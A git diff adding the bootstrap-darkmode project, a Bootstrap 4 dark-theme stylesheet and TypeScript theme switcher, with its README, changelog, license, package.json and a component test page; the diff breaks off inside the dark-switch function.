diff --git a/bootstrap-darkmode-master/.gitignore b/bootstrap-darkmode-master/.gitignore new file mode 100644 index 0000000..096da81 --- /dev/null +++ b/bootstrap-darkmode-master/.gitignore @@ -0,0 +1,4 @@ +**.sass-cache** +.idea/ +node_modules/ +dist/ diff --git a/bootstrap-darkmode-master/.npmignore b/bootstrap-darkmode-master/.npmignore new file mode 100644 index 0000000..8d309d9 --- /dev/null +++ b/bootstrap-darkmode-master/.npmignore @@ -0,0 +1,4 @@ +.sass-cache/ +.idea/ +.gitignore +testpage.html diff --git a/bootstrap-darkmode-master/CHANGELOG.md b/bootstrap-darkmode-master/CHANGELOG.md new file mode 100644 index 0000000..070593f --- /dev/null +++ b/bootstrap-darkmode-master/CHANGELOG.md @@ -0,0 +1,44 @@ +# v0.1.0 + +* Initial NPM release. + +# v0.2.0 + ++ Added `theme.d.ts`. + +# v0.3.0 + +* Encapsulated theme methods in the `ThemeConfig` class. +* Encapsulated dark switch in a function. + +# v0.3.1 + ++ Added `initTheme` to `theme.d.ts`. + +# v0.3.2 + ++ Added constructor to `ThemeConfig`. + +# v0.4.0 + +* Converted the JavaScript code to TypeScript. + +# v0.5.0 + ++ Added the `ThemeConfig.detectTheme` method. +* `ThemeConfig.loadTheme` and `.saveTheme` are now regular methods. +* The `ThemeConfig.loadTheme` and `.saveTheme` methods can now accept/return `null`. +* Moved `darktheme.css` to `dist/`. +* Removed `.gitignore` from the NPM package. + +# v0.6.0 + +* `dist/theme.js` is no longer a module. + +# v0.7.0 + ++ Added `.bg-darkmode-black` as an opposite for `.bg-white`. ++ Added support for `data-theme="auto"`, which will automatically apply dark mode dependending on user agent preference. +* Improved table border colors. +* Improved horizontal rule (`
`) color. +* Updated information in `package.json`. diff --git a/bootstrap-darkmode-master/LICENSE.md b/bootstrap-darkmode-master/LICENSE.md new file mode 100644 index 0000000..875a1f4 --- /dev/null +++ b/bootstrap-darkmode-master/LICENSE.md @@ -0,0 +1,29 @@ +BSD 3-Clause License + +Copyright (c) 2019 - 2020, Clashsoft +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +1. Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + +3. Neither the name of the copyright holder nor the names of its + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/bootstrap-darkmode-master/README.md b/bootstrap-darkmode-master/README.md new file mode 100644 index 0000000..288a295 --- /dev/null +++ b/bootstrap-darkmode-master/README.md @@ -0,0 +1,111 @@ +# Bootstrap Dark Mode + +[![npm version](https://badge.fury.io/js/bootstrap-darkmode.svg)](https://www.npmjs.com/package/bootstrap-darkmode) + +This project provides a stylesheet and two scripts that allow you to implement Dark Mode on your website. +It is initially loaded based on user preference, can be toggled via a switch, and is saved via `localStorage`. + +You can view the [test page](testpage.html) with all default bootstrap components in light and dark +(thanks to [juzraai](https://juzraai.github.io/)!). + +Note that not all components are fully supported yet. +Mostly the contextual color classes can cause problems. + +If you are using Angular, check out [ng-bootstrap-darkmode](https://github.com/Clashsoft/ng-bootstrap-darkmode). + +## Usage + +### With NPM/Yarn/PNPM + +Install the [npm package](https://www.npmjs.com/package/bootstrap-darkmode): + +```sh +$ npm install bootstrap-darkmode +$ yarn add bootstrap-darkmode +$ pnpm install bootstrap-darkmode +``` + +Include the stylesheet, e.g. in `styles.scss`: + +```scss +@import "~bootstrap-darkmode/darktheme"; +``` + +### Via unpkg.com + +1. Put the stylesheet link in ``. Do not forget to add bootstrap. + + ```html + + + + + + + + + ``` + +2. Load the theme script as the first thing in ``. + + ```html + + + + ``` + +### Building Yourself + +1. Clone this repo. +2. Run `npm build`. +3. Find `darktheme.css` and `theme.js` in the `dist/` directory. +4. Follow the steps for unpkg.com, but replace the links with whatever local paths you put the files in. + +## Setup + +> If you are using [ng-bootstrap-darkmode](https://github.com/Clashsoft/ng-bootstrap-darkmode), +> you can skip this section entirely. +> It comes with its own JavaScript implementation that is used very differently. + +### Theme + +As soon as possible after ``, initialize the config and load the theme: + +```js +const themeConfig = new ThemeConfig(); +// place customizations here +themeConfig.initTheme(); +``` + +Loading the theme early shortens the time until the white default background becomes dark. + +### Dark Switch + +If you want to use the default dark switch, load the switch script and add the element using this code: + +```js +// this will write the html to the document and return the element. +const darkSwitch = writeDarkSwitch(themeConfig); +``` + +## Configuration + +You can listen to theme changes by registering a callback with `themeChangeHandlers`: + +```js +config.themeChangeHandlers.push(theme => console.log(`using theme: ${theme}`)); +``` + +To change the way the theme is persisted, you can change the `loadTheme` and `saveTheme` functions: + +```js +themeConfig.loadTheme = () => { + // custom logic + return 'dark'; +}; + +themeConfig.saveTheme = theme => { + // custom logic + console.log(theme); +}; +``` diff --git a/bootstrap-darkmode-master/darktheme.scss b/bootstrap-darkmode-master/darktheme.scss new file mode 100644 index 0000000..18a5104 --- /dev/null +++ b/bootstrap-darkmode-master/darktheme.scss @@ -0,0 +1,363 @@ +// =============== Variables =============== + +// --------------- Defaults --------------- + +$default-color: #bebebe; +$default-bg: #222; +$default-dark-bg: #181818; +$default-header-bg: #202020; +$default-border: #404040; + +$item-color: ( + "primary": #fff, + "secondary": #fff, + "success": #fff, + "danger": #fff, + "warning": #212529, + "info": #fff, + "light": #212529, + "dark": #fff, +); + +$item-bg: ( + "primary": #007bff, + "secondary": #6c757d, + "success": #28a745, + "danger": #dc3545, + "warning": #ffc107, + "info": #17a2b8, + "light": #6c757d, + "dark": #343a40, +); + +$item-hover: ( + "primary": #0069d9, + "secondary": #5a6268, + "success": #218838, + "danger": #c82333, + "warning": #e0a800, + "info": #138496, + "light": #e2e6ea, + "dark": #23272b, +); + +$color-lighten: 10; + +// --------------- Customized --------------- + +$color: $default-color; +$bg: $default-bg; + +$window-color: $default-color; +$window-bg: $default-bg; +$window-header-color: $default-color; +$window-header-bg: $default-header-bg; +$window-border: $default-border; + +$card-color: $default-color; +$card-bg: $default-dark-bg; +$card-header-color: $default-color; +$card-header-bg: $default-header-bg; +$card-hover-bg: $default-bg; +$card-border: $default-border; + +$form-color: $default-color; +$form-placeholder-color: #666; +$form-bg: #171717; +$form-hover-bg: #242424; +$form-border: $default-border; + +$form-addon-color: $default-color; +$form-addon-bg: $default-header-bg; + +@mixin darkmode { + color: $color; + background-color: $bg; + + .bg-darkmode-dark { + background-color: #343a40 !important + } + + .bg-darkmode-light { + background-color: #f8f9fa !important; + } + + .bg-darkmode-black { + background-color: $bg !important; + } + + // --------------- Typography --------------- + + pre { + color: $color; + } + + hr { + border-top-color: $default-border; + } + + // --------------- Images --------------- + + img.icon, + svg.icon { + filter: invert(1); + } + + // --------------- Tables --------------- + + .table { + color: $color; + + th, td { + border-top-color: $default-border; + } + + thead th, tbody + tbody { + border-bottom-color: $default-border; + } + } + + .table-hover tbody tr:hover { + color: $color; + } + + .table-bordered { + border-color: $default-border; + + th, td { + border-color: $default-border; + } + } + + // --------------- List Groups --------------- + + .list-group-item { + color: $card-color; + background-color: $card-bg; + border-color: $card-border; + + &.list-group-item-action:focus, + &.list-group-item-action:hover { + background-color: $card-hover-bg; + } + } + + .list-group-item.active { + &, &:focus, &:hover { + color: map_get($item-color, "primary"); + background-color: map_get($item-bg, "primary"); + border-color: map_get($item-bg, "primary"); + } + } + + @each $name in map_keys($item-color) { + .list-group-item-#{$name} { + color: map_get($item-color, $name); + background-color: map_get($item-bg, $name); + border-color: map_get($item-bg, $name); + + &.list-group-item-action:focus, + &.list-group-item-action:hover { + color: map_get($item-color, $name); + background-color: map_get($item-hover, $name); + } + } + } + + // --------------- Buttons --------------- + + .dropdown-menu { + background-color: $form-bg; + border-color: $form-border; + } + + .dropdown-item:not(:disabled):not(.disabled) { + color: $form-color; + } + + .dropdown-item:focus, + .dropdown-item:hover { + background-color: $form-hover-bg; + } + + .dropdown-divider { + border-top-color: $form-border; + } + + // --------------- Jumbotron --------------- + + .jumbotron { + color: $card-color; + background-color: $card-bg; + border-color: $card-border; + } + + // --------------- Cards --------------- + + .card { + color: $card-color; + background-color: $card-bg; + border-color: $card-border; + } + + .card-header, + .card-footer { + color: $card-header-color; + background-color: $card-header-bg; + border-top-color: $card-border; + border-bottom-color: $card-border; + } + + // --------------- Forms --------------- + + .form-control { + color: $form-color; + background-color: $form-bg; + border-color: $form-border; + } + + .form-control-plaintext { + color: $form-color; + } + + .custom-select { + color: $form-color; + background-color: $form-bg; + border-color: $form-border; + background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3e%3cpath fill='%23ffffff' d='M2 0L0 2h4zm0 5L0 3h4z'/%3e%3c/svg%3e"); + } + + .custom-file-label { + color: $form-color; + background-color: $form-bg; + border-color: $form-border; + + &:after { + color: $form-addon-color; + background-color: $form-addon-bg; + } + } + + .input-group-text { + color: $form-addon-color; + background-color: $form-addon-bg; + border-color: $form-border; + } + + .page-item .page-link { + border-color: $form-border; + } + + .page-item.disabled .page-link { + background-color: $form-bg; + color: $form-color; + } + + .page-item:not(.active) .page-link { + background-color: $form-bg; + } + + .page-item:not(.active) .page-link:hover { + background-color: $form-hover-bg; + } + + // --------------- Navs --------------- + + .breadcrumb { + background-color: $form-bg; + border-color: $form-border; + } + + .nav-tabs { + border-bottom-color: $form-border; + + .nav-link:focus, + .nav-link:hover { + background-color: $form-hover-bg; + border-color: $form-border; + } + + .nav-item.show .nav-link, + .nav-link.active { + color: $color; + background-color: $bg; + border-color: $form-border; + border-bottom-color: $bg; + } + } + + .nav-tabs.card-header-tabs { + .nav-item.show .nav-link, + .nav-link.active { + background-color: $card-bg; + border-bottom-color: $card-bg; + } + } + + // --------------- Popovers --------------- + + .popover { + background-color: $window-bg; + border-color: $window-border; + } + + .popover-body { + color: $color; + } + + .popover-header { + background-color: $window-header-bg; + border-bottom-color: $window-border; + } + + @each $pos in (top, right, bottom, left) { + .bs-popover-#{$pos}, + .bs-popover-auto[x-placement^="#{$pos}"] { + & > .arrow::before { + border-#{$pos}-color: $window-border; + } + + & > .arrow::after { + border-#{$pos}-color: $window-bg; + } + } + } + + // --------------- Progress Bars --------------- */ + + .progress { + background-color: $form-bg; + border-color: $form-border; + } + + // --------------- Modals --------------- + + .close { + color: $color; + opacity: 1; + } + + .modal-header, + .modal-footer { + color: $window-header-color; + background-color: $window-header-bg; + border-bottom-color: $window-border; + border-top-color: $window-border; + } + + .modal-content { + color: $window-color; + background-color: $window-bg; + border-color: $card-border; + } +} + +@media (prefers-color-scheme: dark) { + [data-theme=auto] { + @include darkmode; + } +} + +[data-theme=dark] { + @include darkmode; +} diff --git a/bootstrap-darkmode-master/package.json b/bootstrap-darkmode-master/package.json new file mode 100644 index 0000000..12599af --- /dev/null +++ b/bootstrap-darkmode-master/package.json @@ -0,0 +1,31 @@ +{ + "name": "bootstrap-darkmode", + "version": "0.7.0", + "description": "Stylesheet and Scripts for implementing dark mode with Bootstrap 4", + "main": "dist/theme.js", + "types": "dist/theme.d.ts", + "scripts": { + "build": "tsc && sass --source-map darktheme.scss:dist/darktheme.css --style compressed", + "test": "echo \"Error: no test specified\" && exit 1" + }, + "repository": { + "type": "git", + "url": "https://github.com/clashsoft/bootstrap-darkmode.git" + }, + "keywords": [ + "bootstrap", + "bootstrap-4", + "darkmode", + "darktheme" + ], + "author": "Adrian Kunz", + "license": "BSD-3-Clause", + "bugs": { + "url": "https://github.com/clashsoft/bootstrap-darkmode/issues" + }, + "homepage": "https://github.com/clashsoft/bootstrap-darkmode#readme", + "devDependencies": { + "sass": "^1.26.7", + "typescript": "^3.9.3" + } +} diff --git a/bootstrap-darkmode-master/testpage.html b/bootstrap-darkmode-master/testpage.html new file mode 100644 index 0000000..da2073f --- /dev/null +++ b/bootstrap-darkmode-master/testpage.html @@ -0,0 +1,2938 @@ + + + + + + Bootstrap 4 test page + + + + + + + + + + + + + + + + + + + +
+
+

Bootstrap 4 test page

+

by juzraai

+
+
+ +
+ +
+
+
+
+

+ + Typography +

+

+ + + + + + + + + + +

+
+ +
+
+
+
+
+

Headings

+

h1. Bootstrap heading

+

h2. Bootstrap heading

+

h3. Bootstrap heading

+

h4. Bootstrap heading

+
h5. Bootstrap heading
+
h6. Bootstrap heading
+ +

Horizontal Line

+
+ +

Lead

+

Vivamus sagittis lacus vel augue laoreet rutrum faucibus dolor auctor. Duis mollis, est non commodo luctus.

+ +

Styles

+

You can use the mark tag to + highlight text.

+

+ This line of text is meant to be treated as deleted text. +

+

+ This line of text is meant to be treated as no longer accurate. +

+

+ This line of text is meant to be treated as an addition to the document. +

+

+ This line of text will render as underlined +

+

This line of text is meant to be treated as fine print.

+

This line rendered as bold text.

+

This line rendered as italicized text.

+

And this is a muted text.

+

abbr abbr+init

+ +

Colors

+

+ + .text-primary + + .text-secondary + + .text-success + + .text-danger + + .text-warning + + .text-info + + .text-light + + .text-dark + + .text-white + +

+

+ + Primary link + + Secondary link + + Success link + + Danger link + + Warning link + + Info link + + Light link + + Dark link + + White link + +

+ +

Inline code

+

For example, <section> should be wrapped as inline.

+

y = mx + b

+

To switch directories, type cd followed by the name of the directory.
To edit settings, press ctrl + , +

+

This text is meant to be treated as sample output from a computer program.

+
+
+

Displays

+

Display 1

+

Display 2

+

Display 3

+

Display 4

+ +

Sample body

+

+ Lórum ipse - mint senyért - nyált ságos iség, ahol beles metás, csaprozás, vermény, csaprát + és más meni zsorlóca kuncáskodik. Mosztag, férzet napé, fuvódás 11, törnyélés ; valamint szuvegés vitancs: a dozmus drikója, + jultsás kelés magyarul. A szuvegés és gyarány pasztákban buggyos mendernyékről, filingéjükről és pucájukról húzódik a + fabampa. Hűtő benne a legújabban belég mendernyék mártja is, részletesen sáskodik a kétenc fríg lepkonyaival. Csétletésről + cigál le egy kéző lengelész csapárába rimulnia, ahol három másik szivény együtt érleti spotráit. Ha a bénulás summája + kalkodik, úgy púdulhat, mintha az volna a sülső csoltása, hogy a szedhentes és egyes tengyelét lécetse ki a pávágyokból. + Ez vajon vertető ölyök vagy vegítő dosna? Szalalizál bunya a felegesben olyan szellőző kedő, amely farisban kevetteti + a nyagondos hizmusok „énemlő” lárias mizmusait? +

+ +

Code block

+ +
/**
+ * @author John Smith <john.smith@example.com>
+ */
+package l2f.gameserver.model;
+
+public abstract class L2Char extends L2Object {
+	public static final Short ERROR = 0x0001;
+
+	public void moveTo(int x, int y, int z) {
+		_ai = null;
+		log("Should not be called");
+		if (1 > 5) { // wtf!?
+			return;
+		}
+	}
+}
+
+
+
+
+

Blockquote

+
+

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer posuere erat a ante.

+
Someone famous in Source Title
+
+
+
+
+
+

...centered

+
+

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer posuere erat a ante.

+
Someone famous in Source Title
+
+
+
+
+
+

...on right

+
+

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer posuere erat a ante.

+
Someone famous in Source Title
+
+
+
+
+
+

List

+
    +
  • Lorem ipsum dolor sit amet
  • +
  • Consectetur adipiscing elit
  • +
  • Integer molestie lorem at massa
  • +
  • Facilisis in pretium nisl aliquet
  • +
  • Nulla volutpat aliquam velit +
      +
    • Phasellus iaculis neque
    • +
    • Purus sodales ultricies
    • +
    • Vestibulum laoreet porttitor sem
    • +
    • Ac tristique libero volutpat at
    • +
    +
  • +
  • Faucibus porta lacus fringilla vel
  • +
  • Aenean sit amet erat nunc
  • +
  • Eget porttitor lorem
  • +
+
+
+

...unstyled

+
    +
  • Lorem ipsum dolor sit amet
  • +
  • Consectetur adipiscing elit
  • +
  • Integer molestie lorem at massa
  • +
  • Facilisis in pretium nisl aliquet
  • +
  • Nulla volutpat aliquam velit +
      +
    • Phasellus iaculis neque
    • +
    • Purus sodales ultricies
    • +
    • Vestibulum laoreet porttitor sem
    • +
    • Ac tristique libero volutpat at
    • +
    +
  • +
  • Faucibus porta lacus fringilla vel
  • +
  • Aenean sit amet erat nunc
  • +
  • Eget porttitor lorem
  • +
+
+
+

...inline

+
    +
  • Lorem ipsum
  • +
  • Phasellus iaculis
  • +
  • Nulla volutpat
  • +
+
+
+
+
+

Definition list

+
+
+
+
Description lists
+
A description list is perfect for defining terms.
+ +
Euismod
+
+

Vestibulum id ligula porta felis euismod semper eget lacinia odio sem nec elit.

+

Donec id elit non mi porta gravida at eget metus.

+
+ +
Malesuada porta
+
Etiam porta sem malesuada magna mollis euismod.
+ +
Truncated term is truncated
+
Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus.
+ +
Nesting
+
+
+
Nested definition list
+
Aenean posuere, tortor sed cursus feugiat, nunc augue blandit nunc.
+
+
+
+ +
+
+

Background colors

+
+ + +
+
.bg-primary
+
+ + +
+
.bg-secondary
+
+ + +
+
.bg-success
+
+ + +
+
.bg-danger
+
+ + +
+
.bg-warning
+
+ + +
+
.bg-info
+
+ + +
+
.bg-light
+
+ + +
+
.bg-dark
+
+ + +
+
.bg-white
+
+ +
+
+ +
+ +
+
+
+
+

+ + Images +

+

+ + + + + + + + +

+
+ +
+
+
+
+
+

Responsive image

+ responsive image +
+
+

Thumbnail

+ thumbnail image +
+
+

Figure

+
+ Figure +
A caption for the above image.
+
+
+
+

Media

+
+ Generic placeholder image +
+
Media heading
+ Cras sit amet nibh libero, in gravida nulla. Nulla vel metus scelerisque ante sollicitudin. Cras purus odio, vestibulum in + vulputate at, tempus viverra turpis. Fusce condimentum nunc ac nisi vulputate fringilla. Donec lacinia congue felis in + faucibus. + +
+ + Generic placeholder image + +
+
Media heading
+ Cras sit amet nibh libero, in gravida nulla. Nulla vel metus scelerisque ante sollicitudin. Cras purus odio, vestibulum in + vulputate at, tempus viverra turpis. Fusce condimentum nunc ac nisi vulputate fringilla. Donec lacinia congue felis + in faucibus. +
+
+
+
+
+
+
+
+ +
+
+
+
+

+ + Tables +

+

+ + + + +

+
+ +
+
+
+
+
+

Table

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
#First NameLast NameUsername
1MarkOtto@mdo
2JacobThornton@fat
3Larrythe Bird@twitter
+
+
+

Inversed table

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
#First NameLast NameUsername
1MarkOtto@mdo
2JacobThornton@fat
3Larrythe Bird@twitter
+
+
+
+
+

Table with colors

+

Note: Use table-* classes.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TypeColumn headingColumn heading
DefaultColumn contentColumn content
ActiveColumn contentColumn content
PrimaryColumn contentColumn content
SecondaryColumn contentColumn content
SuccessColumn contentColumn content
DangerColumn contentColumn content
WarningColumn contentColumn content
InfoColumn contentColumn content
LightColumn contentColumn content
DarkColumn contentColumn content
+
+
+

Inversed table with colors

+

Note: Use bg-* and text-* classes.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TypeColumn headingColumn heading
DefaultColumn contentColumn content
PrimaryColumn contentColumn content
SecondaryColumn contentColumn content
SuccessColumn contentColumn content
DangerColumn contentColumn content
WarningColumn contentColumn content
InfoColumn contentColumn content
LightColumn contentColumn content
DarkColumn contentColumn content
+
+
+
+
+

Default header

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
#First NameLast NameUsername
1MarkOtto@mdo
2JacobThornton@fat
3Larrythe Bird@twitter
+
+
+

Inversed header

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
#First NameLast NameUsername
1MarkOtto@mdo
2JacobThornton@fat
3Larrythe Bird@twitter
+
+
+
+
+

Small table

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
#First NameLast NameUsername
1MarkOtto@mdo
2JacobThornton@fat
3Larrythe Bird@twitter
+
+
+
+
+ +
+
+
+
+

+ + List groups +

+

+ + + + +

+
+ +
+
+
+
+
+ +
+
+

...with actions and colors

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+
+ +
+
+
+
+

+ + Buttons +

+

+ + + + + + + + + + +

+
+ +
+
+
+ + +
+
+

General buttons

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +

Outline buttons

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+

Sizes

+
+ + + +
+
+
+

Groups and dropdown

+ +
+ +
+

Pagination

+ +
+
+
+
+ +
+
+
+
+

+ + Jumbotrons +

+

+ + + + +

+
+ +
+
+
+
+
+

Default jumbotron

+
+

Hello, world!

+

This is a simple hero unit, a simple jumbotron-style component for calling extra attention to featured content or information.

+
+

It uses utility classes for typography and spacing to space content out within the larger container.

+

+ Learn more +

+
+ +

Fluid jumbotron

+
+
+

Fluid jumbotron

+

This is a modified jumbotron that occupies the entire horizontal space of its parent.

+
+
+
+
+
+
+ +
+
+
+
+

+ + Cards +

+

+ + + + +

+
+ +
+
+
+
+
+

Various types of cards

+
+
+
+ This is some text within a card block. +
+
+
+
    +
  • Cras justo odio
  • +
  • Dapibus ac facilisis in
  • +
  • Vestibulum at eros
  • +
+
+
+
+

Card title

+
Card subtitle
+

Some quick example text to build on the card title and make up the bulk of the card's content.

+ Card link + Another link +
+
+
+
+

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer posuere erat a ante.

+
+ + Someone famous in Source Title + +
+
+
+
+
+ Featured +
+
+

Special title treatment

+

With supporting text below as a natural lead-in to additional content.

+ Go somewhere +
+
+
+
+ Featured +
+
+

Special title treatment

+

With supporting text below as a natural lead-in to additional content.

+ Go somewhere +
+ +
+
+ Card image +
+
+ Card image cap +
+

Some quick example text to build on the card title and make up the bulk of the card's content.

+
+
+
+
+

Card title

+

This is a wider card with supporting text below as a natural lead-in to additional content. This content is a little + bit longer.

+

Last updated 3 mins ago

+
+ Card image cap +
+
+ Card image cap +
+

Card title

+

Some quick example text to build on the card title and make up the bulk of the card's content.

+
+
    +
  • Cras justo odio
  • +
  • Dapibus ac facilisis in
  • +
  • Vestibulum at eros
  • +
+ +
+
+
+ +
+
+

Special title treatment

+

With supporting text below as a natural lead-in to additional content.

+ Go somewhere +
+
+
+
+ +
+
+

Special title treatment

+

With supporting text below as a natural lead-in to additional content.

+ Go somewhere +
+
+
+
+
+
+
+

Colored cards

+
+ + + +
+
+
Header
+
+

Primary card

+

Some quick example text to build on the card title and make up the bulk of the card's content.

+
+
+
+ + + +
+
+
Header
+
+

Secondary card

+

Some quick example text to build on the card title and make up the bulk of the card's content.

+
+
+
+ + + +
+
+
Header
+
+

Success card

+

Some quick example text to build on the card title and make up the bulk of the card's content.

+
+
+
+ + + +
+
+
Header
+
+

Danger card

+

Some quick example text to build on the card title and make up the bulk of the card's content.

+
+
+
+ + + +
+
+
Header
+
+

Warning card

+

Some quick example text to build on the card title and make up the bulk of the card's content.

+
+
+
+ + + +
+
+
Header
+
+

Info card

+

Some quick example text to build on the card title and make up the bulk of the card's content.

+
+
+
+ + + +
+
+
Header
+
+

Light card

+

Some quick example text to build on the card title and make up the bulk of the card's content.

+
+
+
+ + + +
+
+
Header
+
+

Dark card

+

Some quick example text to build on the card title and make up the bulk of the card's content.

+
+
+
+ + +
+
+
+

Cards with colored borders

+
+ + +
+
+
Header
+
+

Primary card

+

Some quick example text to build on the card title and make up the bulk of the card's content.

+
+
+
+ + +
+
+
Header
+
+

Secondary card

+

Some quick example text to build on the card title and make up the bulk of the card's content.

+
+
+
+ + +
+
+
Header
+
+

Success card

+

Some quick example text to build on the card title and make up the bulk of the card's content.

+
+
+
+ + +
+
+
Header
+
+

Danger card

+

Some quick example text to build on the card title and make up the bulk of the card's content.

+
+
+
+ + +
+
+
Header
+
+

Warning card

+

Some quick example text to build on the card title and make up the bulk of the card's content.

+
+
+
+ + +
+
+
Header
+
+

Info card

+

Some quick example text to build on the card title and make up the bulk of the card's content.

+
+
+
+ + +
+
+
Header
+
+

Light card

+

Some quick example text to build on the card title and make up the bulk of the card's content.

+
+
+
+ + +
+
+
Header
+
+

Dark card

+

Some quick example text to build on the card title and make up the bulk of the card's content.

+
+
+
+ + +
+
+
+ +
+
+
+
+

+ + Forms +

+

+ + + + + + +

+
+ +
+
+
+
+
+
+

Text fields

+
+ + + We'll never share your email with anyone else. +
+
+ +
+
+ +
+
+ +
+
+ +
+
+ + +
+
+ + +
Please provide a valid value.
+
+
+ +
+
+ +
+
+ +
+
+
+
+ $ +
+ +
+ .00 +
+
+
+
+
+
+ $ +
+ +
+ .00 +
+
+
+
+
+
+ +
+ +
+ +
+
+
+
+
+ + +
+
+
+ + +
+ +

Layouts

+
+
+
+ +
+
+ +
+
+
+
+
+
+ +
+
+ +
+
+
+
+ +
+ +
+
+
+
+ +
+
+ @ +
+ +
+
+
+
+
+
+ + + Must be 8-20 characters long. +
+
+
+
+
+

Selects

+
+ + +
+
+ + +
+
+ +
+
+ +
+
+ +
+
+ +
+ +

Checkboxes

+
+ +
+
+ +
+
+ + +
+
+ + +
+
+ + +
+
+ + +
+
+ + +
+
+ +
+
+ +
+
+ +
+ +

Radio buttons

+
+ +
+
+ +
+
+ +
+
+ + +
+
+ + +
+
+ + +
+
+ + +
+
+ + +
+
+ +
+
+ +
+
+ +
+ +

Files

+
+ + +
+
+
+
+ +
+
+ + + +
+
+
+
+

+ + Badges +

+

+ + + + +

+
+ +
+
+
+
+
+

Contextual badges

+

+ + + Primary + + + Secondary + + + Success + + + Danger + + + Warning + + + Info + + + Light + + + Dark + + +

+ +

Pill badges

+

+ + + Primary + + + Secondary + + + Success + + + Danger + + + Warning + + + Info + + + Light + + + Dark + + +

+ +

Links

+

+ + + Primary + + + Secondary + + + Success + + + Danger + + + Warning + + + Info + + + Light + + + Dark + + +

+
+
+

Badges in headings

+

Example heading New

+

Example heading New

+

Example heading New

+

Example heading New

+
Example heading New
+
Example heading New
+
+
+
+
+ +
+
+
+
+

+ + Alerts +

+

+ + + + +

+
+ +
+
+
+
+
+

Simple alerts

+
+ + +
+ +
+ + +
+ +
+ + +
+ +
+ + +
+ +
+ + +
+ +
+ + +
+ +
+ + +
+ +
+ + +
+ +
+ + +
+
+
+

Alerts with additional content

+
+ + +
+ +
+ + +
+ +
+ + +
+ +
+ + +
+ +
+ + +
+ +
+ + +
+ +
+ + +
+ +
+ + +
+ +
+ + +
+
+
+ +
+
+
+
+

+ + Popovers +

+

+ + + + + + +

+
+ +
+
+
+
+
+

Popovers

+ +
+
+

Tooltips

+ +
+
+
+
+ +
+
+
+
+

+ + Progress bars +

+

+ + + + +

+
+ +
+
+
+
+
+

Colored progress bars

+
+
Label
+
+ + +
+
Label
+
+ +
+
Label
+
+ +
+
Label
+
+ +
+
Label
+
+ +
+
+

Striped progress bars

+
+
Label
+
+ + +
+
Label
+
+ +
+
Label
+
+ +
+
Label
+
+ +
+
Label
+
+ +
+
+
+
+ +
+
+
+
+

+ + Modals +

+

+ + + + +

+
+ +
+
+
+
+
+ +
+
+
+
+ +
+ + + + + + + + + + diff --git a/bootstrap-darkmode-master/theme.ts b/bootstrap-darkmode-master/theme.ts new file mode 100644 index 0000000..342a198 --- /dev/null +++ b/bootstrap-darkmode-master/theme.ts @@ -0,0 +1,60 @@ +class ThemeConfig { + themeChangeHandlers: ((theme: string) => void)[] = []; + + loadTheme(): string | null { + return localStorage.getItem('theme'); + } + + saveTheme(theme: string | null): void { + if (theme === null) { + localStorage.removeItem('theme'); + } + else { + localStorage.setItem('theme', theme) + } + } + + initTheme(): void { + this.displayTheme(this.getTheme()); + } + + detectTheme(): string { + return window.matchMedia('(prefers-color-scheme: dark)').matches ? 'dark' : 'light'; + } + + getTheme(): string { + return this.loadTheme() || this.detectTheme(); + } + + setTheme(theme: string): void { + this.saveTheme(theme); + this.displayTheme(theme); + } + + displayTheme(theme: string): void { + document.body.setAttribute('data-theme', theme); + for (let handler of this.themeChangeHandlers) { + handler(theme); + } + } +} + +function writeDarkSwitch(config: ThemeConfig) { + document.write(` +
+ + +
